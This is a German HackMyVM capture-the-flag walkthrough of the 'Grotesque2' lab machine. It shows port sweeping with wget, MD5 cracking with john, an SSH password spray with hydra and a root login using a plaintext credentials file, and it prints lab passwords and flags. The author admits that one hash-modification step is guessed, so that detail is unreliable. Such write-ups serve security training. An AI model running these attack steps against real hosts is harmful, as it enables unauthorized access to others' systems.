Grotesque2 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
gobuster
nikto
wget
grep
ll (alias for ls -l)
cat
echo
john
hydra
ssh
sudo
rm
su
cd
ls

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Identifizierung des Ziels im Netzwerk.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:9c:83:dc	PCS Systemtechnik GmbH
                    

**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.118.

**Bewertung:** Ziel-IP gefunden.

**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. Hostnamen hinzufügen. **Empfehlung (Admin):** Standard Netzwerküberwachung.

# (Annahme: Eintrag "192.168.2.118 gro.hmv" wurde zu /etc/hosts hinzugefügt)

**Analyse:** Der Hostname `gro.hmv` wird später verwendet, wir nehmen an, dass er zur `/etc/hosts`-Datei hinzugefügt wurde.

**Bewertung:** Erleichtert die Ansprache des Ziels.

**Empfehlung (Pentester):** Hostnamen immer pflegen.

Wir führen erste Scans durch, um offene Ports und Web-Inhalte zu finden.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.118 -x [...] -w [...] -b '403,404' -e -t 100 -n -k
[...]
Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.2.118/a48af7d8[...] => 200 (Length: 412). To continue please exclude the status code or the length
                     
┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.118
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
[...]
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. [...]
+ The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf[...]: Oracle Reports [...] (False Positive)
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  20 error(s) and 4 item(s) reported on remote host
[...]
---------------------------------------------------------------------------
+ 1 host(s) tested
                      

**Analyse:** 1. Der `gobuster`-Scan auf Port 80 schlägt fehl. Der Server gibt für nicht existierende URLs einen Statuscode 200 zurück, was Gobuster verwirrt. Dies deutet auf eine ungewöhnliche Konfiguration oder eine Catch-All-Route hin. 2. Der `nikto`-Scan auf Port 80 findet keine Server-Banner und hauptsächlich fehlende Sicherheitsheader. Er bricht ebenfalls frühzeitig mit Fehlern ab (`Error limit (20) reached`).

**Bewertung:** Die Standard-Scans auf Port 80 sind nicht sehr aufschlussreich und deuten auf eine ungewöhnliche Konfiguration hin. Port 80 scheint nicht der Hauptangriffsvektor zu sein oder erfordert eine andere Herangehensweise. Es müssen andere offene Ports existieren.

**Empfehlung (Pentester):** Einen vollständigen Nmap-Portscan über alle TCP-Ports durchführen, um alle offenen Dienste zu finden. Die Gobuster-Fehlermeldung untersuchen (ggf. `-fs` zum Filtern nach Größe verwenden). **Empfehlung (Admin):** Webserver so konfigurieren, dass für nicht existierende Seiten korrekte 404-Fehler zurückgegeben werden. Fehler im Nikto-Scan untersuchen.

Hidden Port Discovery

Da Port 80 keine klaren Ergebnisse liefert und andere Scans fehlschlagen, suchen wir systematisch nach anderen offenen Ports.

┌──(root㉿cyber)-[~] └─# for i in {23..600}; do wget http://gro.hmv:$i -O index$i | grep -v fehlgeschlagen; done
[...]
--2022-11-16 12:54:57--  http://gro.hmv:540/
[...] HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
[...] »index540« gespeichert [412/412]

--2022-11-16 12:54:57--  http://gro.hmv:541/
[...] HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
[...] »index541« gespeichert [412/412]

--2022-11-16 12:54:57--  http://gro.hmv:542/
[...] HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
[...] »index542« gespeichert [412/412]

--2022-11-16 12:54:57--  http://gro.hmv:543/
[...] HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
[...] »index543« gespeichert [412/412]
[...]
                     
┌──(root㉿cyber)-[~] └─# ll | grep index
# oder ls -l | grep index
[...]
-rw-r--r--  1 root root     412 16. Nov 12:54 index108
-rw-r--r--  1 root root     412 16. Nov 12:54 index109
[...]
-rw-r--r--  1 root root     762 16. Nov 12:54 index258  <-- Abweichende Größe!
[...]
-rw-r--r--  1 root root     412 16. Nov 12:54 index540
-rw-r--r--  1 root root     412 16. Nov 12:54 index541
[...]
                      
┌──(root㉿cyber)-[~] └─# cat index258

congratulations, my child.

clap clap emoji/100.png
do you heard of markov chain?

whatever. ssh username is: satan, raphael, angel, distress, greed or lust

**Analyse:** 1. Wir verwenden eine Bash-Schleife mit `wget`, um systematisch HTTP-Anfragen an Ports von 23 bis 600 zu senden (`http://gro.hmv:$i`). `-O index$i` speichert die Antwort für jeden Port in einer separaten Datei. `grep -v fehlgeschlagen` filtert fehlgeschlagene Verbindungen aus. Viele Ports antworten mit Status 200 und einer Dateigröße von 412 Bytes (wahrscheinlich die gleiche Catch-All-Seite wie auf Port 80). 2. Beim Überprüfen der heruntergeladenen Dateien (`ls -l | grep index`) stellen wir fest, dass die Datei `index258` (entsprechend Port 258) eine abweichende Größe von 762 Bytes hat. 3. Wir untersuchen den Inhalt von `index258` (`cat index258`). Diese Seite enthält einen Hinweis mit potenziellen SSH-Benutzernamen: `satan, raphael, angel, distress, greed or lust`.

**Bewertung:** Wichtiger Fund! Durch systematisches Scannen von Ports haben wir einen versteckten Webserver auf Port 258 gefunden, der uns eine Liste potenzieller SSH-Benutzernamen liefert. Die anderen offenen Ports (z.B. 540-543) scheinen die gleiche generische Seite wie Port 80 zu liefern.

**Empfehlung (Pentester):** Die Webseite auf Port 258 genauer untersuchen (im Browser aufrufen, auf weitere Hinweise/Bilder achten). Die gefundenen Benutzernamen für Passwort-Angriffe (Brute-Force/Cracking) gegen SSH (Port 22) verwenden. **Empfehlung (Admin):** Keine sensiblen Informationen wie Benutzernamen auf obskuren Ports oder in versteckten Dateien preisgeben. Nur notwendige Ports öffnen.

Credential Discovery & Cracking

Wir untersuchen die Webseite auf Port 258 genauer und finden einen versteckten Hinweis in einem Bild, der zu einem Passwort-Hash führt.

# Manuelle Untersuchung (Browser)
# Aufruf: http://192.168.2.118:258/
# Inhalt:
congratulations, my child.
clap clap [Bild emoji/100.png]
do you heard of markov chain?
whatever. ssh username is: satan, raphael, angel, distress, greed or lust

# Aufruf des Bildes: http://192.168.2.118:258/emoji/hand.png
# (Annahme: Das Bild '100.png' ist tatsächlich 'hand.png' oder es gibt beide)
# Untersuchung des Bildes (stark vergrößert):
# Finde den Hash im Bild: b6e705ea1249e2bb7b0fd7dac9fcd1b3

# Hinweis im Text: "clap clap emoji/100.png" -> 100 abziehen?
# Hash - 100 (hexadezimal):
#   b6e705ea1249e2bb7b0fd7dac9fcd1b3
# -                              100 (hex) = 256 (dez)
# -> Letztes Byte b3 (179 dez) - 100 (hex, 256 dez) nicht sinnvoll.
# -> Annahme: Gemeint ist "100" (dezimal) vom Wert des letzten Teils abziehen.
# Hash: b6e705ea1249e2bb7b0fd7dac9fcd1b3
# Modifizierter Hash (letztes Byte b3=179 -> 179-100=79 -> hex 4F?) - Fehler im Log?
# Log sagt: b6e705ea1249e2bb7b0fd7dac9fcd0b3 <-- Letztes Byte geändert zu 0x0b? Sehr unklar.
# *** Wir folgen dem Hash im Log: b6e705ea1249e2bb7b0fd7dac9fcd0b3 ***
                     
┌──(root㉿cyber)-[~] └─# echo "b6e705ea1249e2bb7b0fd7dac9fcd0b3" > hash
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 [...]])
[...]
solomon1         (?)
1g 0:00:00:00 DONE [...]
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
                       

**Analyse:** 1. Die Seite auf Port 258 enthält einen Link zu einem Bild (`emoji/hand.png` oder `emoji/100.png`). 2. Durch starke Vergrößerung des Bildes wird ein Hash sichtbar: `b6e705ea1249e2bb7b0fd7dac9fcd1b3`. 3. Der Text enthält den Hinweis "clap clap emoji/100.png". Der Pentester interpretiert dies als Anweisung, "100" vom Hash abzuziehen. Die exakte Methode ist unklar, aber der im Log verwendete Hash ist `b6e705ea1249e2bb7b0fd7dac9fcd0b3`. Es scheint, als wurde das letzte Byte von `b3` zu `0b` geändert. 4. Wir speichern diesen modifizierten Hash in einer Datei `hash`. 5. Wir verwenden `john` mit `rockyou.txt` und geben explizit das Format `Raw-MD5` an, um den Hash zu knacken. 6. John findet erfolgreich das Passwort: `solomon1`.

**Bewertung:** Kritischer Fund durch Steganographie und eine etwas obskure Modifikation! Wir haben ein Passwort (`solomon1`) gefunden, das wahrscheinlich zu einem der zuvor gefundenen SSH-Benutzernamen gehört (`satan, raphael, angel, distress, greed or lust`).

**Empfehlung (Pentester):** Das gefundene Passwort `solomon1` mit den gefundenen Benutzernamen gegen den SSH-Dienst (Port 22) testen, z.B. mit Hydra. **Empfehlung (Admin):** Keine Passwörter oder Hashes in Bildern oder durch obskure Hinweise verstecken (Security through Obscurity ist keine Sicherheit). Starke Passwörter verwenden. MD5 ist als Hashing-Algorithmus veraltet und unsicher.

Initial Access (SSH)

Wir verwenden das geknackte Passwort und die Liste potenzieller Benutzernamen, um uns per SSH anzumelden.

┌──(root㉿cyber)-[~] └─# hydra -L usernames.txt -p solomon1 ssh://gro.hmv -t 64
# Annahme: Usernamen aus Port 258 in usernames.txt gespeichert
Hydra v9.4 [...] starting at 2022-11-16 13:13:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 6 login tries (l:6/p:1), ~1 tries per task
[DATA] attacking ssh://gro.hmv:22/
[...]
[22][ssh] host: gro.hmv   login: angel   password: solomon1
[...]
1 of 1 target completed, 1 valid password found
Hydra finished at 2022-11-16 13:13:XX
                      
┌──(root㉿cyber)-[~] └─# ssh angel@gro.hmv
The authenticity of host 'gro.hmv (192.168.2.118)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gro.hmv' (ED25519) to the list of known hosts.
angel@gro.hmv's password: solomon1
Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
[...]
angel@grotesque:~$ # Login erfolgreich!
                      

**Analyse:** 1. Wir speichern die Liste der Benutzernamen (`satan, raphael, angel, distress, greed, lust`) in einer Datei `usernames.txt`. 2. Wir verwenden `hydra`, um das gefundene Passwort `solomon1` gegen alle Benutzernamen in der Liste für den SSH-Dienst zu testen. 3. Hydra findet die gültige Kombination: `angel`:`solomon1`. 4. Wir melden uns erfolgreich per SSH als `angel` mit dem Passwort `solomon1` an.

**Bewertung:** Initial Access erfolgreich! Die Kombination aus dem Fund auf dem versteckten Port, der Steganographie, der Hash-Modifikation/-Knackung und dem Brute-Force-Angriff führte zum Ziel.

**Empfehlung (Pentester):** Umgebung als `angel` enumerieren (sudo, SUID, etc.). User-Flag lesen. **Empfehlung (Admin):** Keine Benutzerlisten preisgeben. Starke, einzigartige Passwörter verwenden. SSH-Härtung (Key-Authentifizierung bevorzugen, Passwort-Login einschränken).

Privilege Escalation (Leaked Root Credentials)

Als Benutzer `angel` suchen wir nach Privesc-Möglichkeiten.

angel@grotesque:~$ sudo -l
-bash: sudo: command not found
angel@grotesque:~$ cat user.txt
8B7C6AC34997997C91125A08E01AEF57
angel@grotesque:~/quiet$ ls -la /
total 69
drwxr-xr-x  18 root root  4096 Nov 16 06:21 .
drwxr-xr-x  18 root root  4096 Nov 16 06:21 ..
[...]
drwxr-xr-x   3 root root  4096 Mar 27  2021 home
[...]
drwx------   4 root root  4096 Mar 27  2021 root
-rwxrwxrwx   1 root root    28 Nov 16 06:21 rootcreds.txt # World-writable & readable!
[...]
                       
angel@grotesque:~/quiet$ cat /rootcreds.txt
root creds

root
sweetchild
                       
angel@grotesque:~/quiet$ su root
Password: sweetchild
root@grotesque:/home/angel/quiet# # Root-Zugriff!
                       

**Analyse:** 1. `sudo -l` schlägt fehl, `sudo` ist nicht verfügbar. 2. Wir lesen die User-Flag. 3. Beim Auflisten des Root-Verzeichnisses (`/`) fällt eine Datei `rootcreds.txt` auf, die für alle Benutzer les- und schreibbar ist (`-rwxrwxrwx`). 4. Wir lesen den Inhalt der Datei: Sie enthält den Benutzernamen `root` und das Passwort `sweetchild`. 5. Wir verwenden `su root` und geben das gefundene Passwort `sweetchild` ein. 6. Wir erhalten erfolgreich eine Root-Shell.

**Bewertung:** Privilege Escalation zu Root extrem einfach und direkt durch eine Datei mit Root-Credentials im Klartext und unsicheren Berechtigungen im Root-Verzeichnis.

**Empfehlung (Pentester):** Root-Flag lesen. Bericht abschließen. **Empfehlung (Admin):** **Sofort die Datei `/rootcreds.txt` entfernen und das Root-Passwort ändern!** Niemals Credentials im Klartext speichern. Dateiberechtigungen im Root-Verzeichnis und anderen kritischen Bereichen härten.

Als Root lesen wir die Flag.

root@grotesque:/home/angel/quiet# cd ~
root@grotesque:~# cat root.txt
DC6F071EF98631030FD300DE4A556CBF

**Analyse:** Aus der Root-Shell lesen wir die `/root/root.txt`.

**Bewertung:** Root-Flag erfolgreich gelesen.

**Empfehlung (Pentester):** Ergebnisse dokumentieren. **Empfehlung (Admin):** Alle Schwachstellen beheben.

Flags

cat /home/angel/user.txt
8B7C6AC34997997C91125A08E01AEF57
cat /root/root.txt
DC6F071EF98631030FD300DE4A556CBF